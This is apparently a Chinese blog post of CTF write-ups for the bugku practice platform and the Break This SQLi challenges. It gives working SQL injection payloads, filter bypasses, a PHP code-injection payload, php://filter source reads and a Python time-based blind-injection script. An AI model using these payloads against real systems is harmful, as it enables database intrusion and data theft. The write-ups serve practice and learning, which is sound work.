2017年4月

bugku ctf练习平台wp

最近学习得十分迷茫,只好不断找各种题来做,以图不虚度时间。
这个ctf练习还是比较简单的,自己看代码的功力太弱了,主要针对各种分析代码的题看一下。
(题目顺序不分先后)

sql注入

这道题开始我还没发现是宽字节注入,看来以后测注入的时候不能简单试试单引号就收手了,还得记得一个%df%27。
payload:

http://103.238.227.13:10083/?id=-1%df%27 union select 1,database() %23
http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key %23

另外还有就是,需要第一步把数据库名查出来,按理说通常是不需要指定数据库的啊,有点疑惑,以后养成习惯吧。

sql注入1

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

只看sql过滤的话,这题基本没法做了,但是好在后面还有个strip_tags()函数,这个函数是去掉字符串里的html标签的,所以我们只需要在被过滤的关键字里面加些<a><br>这类的标签就能绕过sql过滤,后面这些标签又被去掉,就能注入了。

变量1

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

题目说了flag保存在变量里,看后面代码有个var_dump(),所以这里的思路就是把那个变量var_dump出来,但是我们不知道变量名啊,这里就需要了解下php的超全局变量,$GLOBAL,这个数组里保存了页面内的所有变量。
payload:

?args=GLOBAL

web4

<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

这道题考察js,这堆东西一看就是urlencode,解码之后得到,

<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
</script>

eval()里执行了checkSubmit()这个函数,自己重新拼凑下代码就能发现一句“67d709b2b54aa2aa648cf6e87a7114f1”,这就是密码了。

web5

又是这个傻逼jsfuck,这种题有个技巧,复制一下放到console里一跑就出来了。

web6

用php的wrapper读源码,没什么可说的。
payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

字符?正则?

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

这里需要去匹配上这个正则,后面那坨[:punct:]差不多是匹配个符号的意思。
payload:

?id=keykey1234key:/1/keya@

Web8

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}

变量覆盖,没啥可说的,这里$f不能被覆盖,但是$fn可以,这里可以用php://input,也可以用data协议。
payload:
TIM截图20170430202725.png

或者,

http://c.bugku.com/web8/?ac=1&fn=data://text/plain;base64,MQ==

web15

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

开始还以为就是个简单的xff+insert注入,后来看到$ip_arr = explode(',', $ip),这里还不能用逗号。insert后一般用报错或盲注,这里没开报错,只能盲注。if()的逗号到是好办,直接用case when代替,查了下发现mid()函数截取字符串时可以这样mid('abc' from 1 for 1),也不用逗号,这就简单了。
poc:
time_based_no_comma_injection.py

#! /usr/bin/env/python
# coding:utf-8
import requests
import time

url = r"http://c.bugku.com//web15/"
result = ''
for i in range(1, 33):
    for j in range(0, 256):
        headers = {
            'X-Forwarded-For': '1\' and case when ord(mid((select @@version) from ' + str(i) + ' for 1))=' + str(j) + ' then sleep(3) else 0 end) #'
        }
        start = time.time()
        requests.get(url, headers=headers)
        if time.time() - start > 3:
            result += chr(j)
            print result

本地包含


<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

$a可控,入门级的代码注入,注意闭合括号。
payload:

http://baohan.post.bugku.com/?hello=1);show_source(%27flag.php%27);var_dump(1

sqli练习游戏--Break This SQLi

Break This SQLi

国外的一个在线练习sql注入的平台,据介绍是作者实际遇到的一些有意思的情形。
地址:http://breakthisqli.rf.gd/
网上没有找到公开的wp,没有源码,难度还是有的。

Challenge 1

Challenge 2

http://breakthisqli.rf.gd/2/?id=2&name=users where id=3 uunionnion sselectelect 1,2,3,updatexml(1,(concat(0x7e,mid((sselectelect * from flag limit 0,1),1,1))),1);%00

Challenge 3

Challenge 4

http://breakthisqli.rf.gd/4/?id=2&name=users/**/uunionnion/**/sselectelect/**/1,2,3,/*!updatexml*/(1,/*!concat*/(0x7e,/*!select*//**//*!version*/()),1);%00

Challenge 5

Challenge 6

Challenge 7

Challenge 8

sqli-labs

感觉自己实在太菜了,唉,练练注入吧,熟悉一下各种语句,这样以后比赛不会被吊打的太难看。
环境:docker
mysql u:root p:123456

sudo docker pull 0bajie0/sqli-labs:v1
sudo docker run -ti --name sqli -p 2333:8080 0bajie0/sqli-labs:v1 /bin/bash
./run.sh



- 阅读剩余部分 -

利用docker复现Discuz_SSRF

宿主机:ubuntu 16.04
docker的容器互联

安装docker

sudo apt-get update
sudo apt install docker.io
#sudo docker info 检查docker信息

构建redis容器

创建Dockerfile

mkdir webapp
cd webapp
touch Dockerfile
gedit Dockerfile 内容如下:







- 阅读剩余部分 -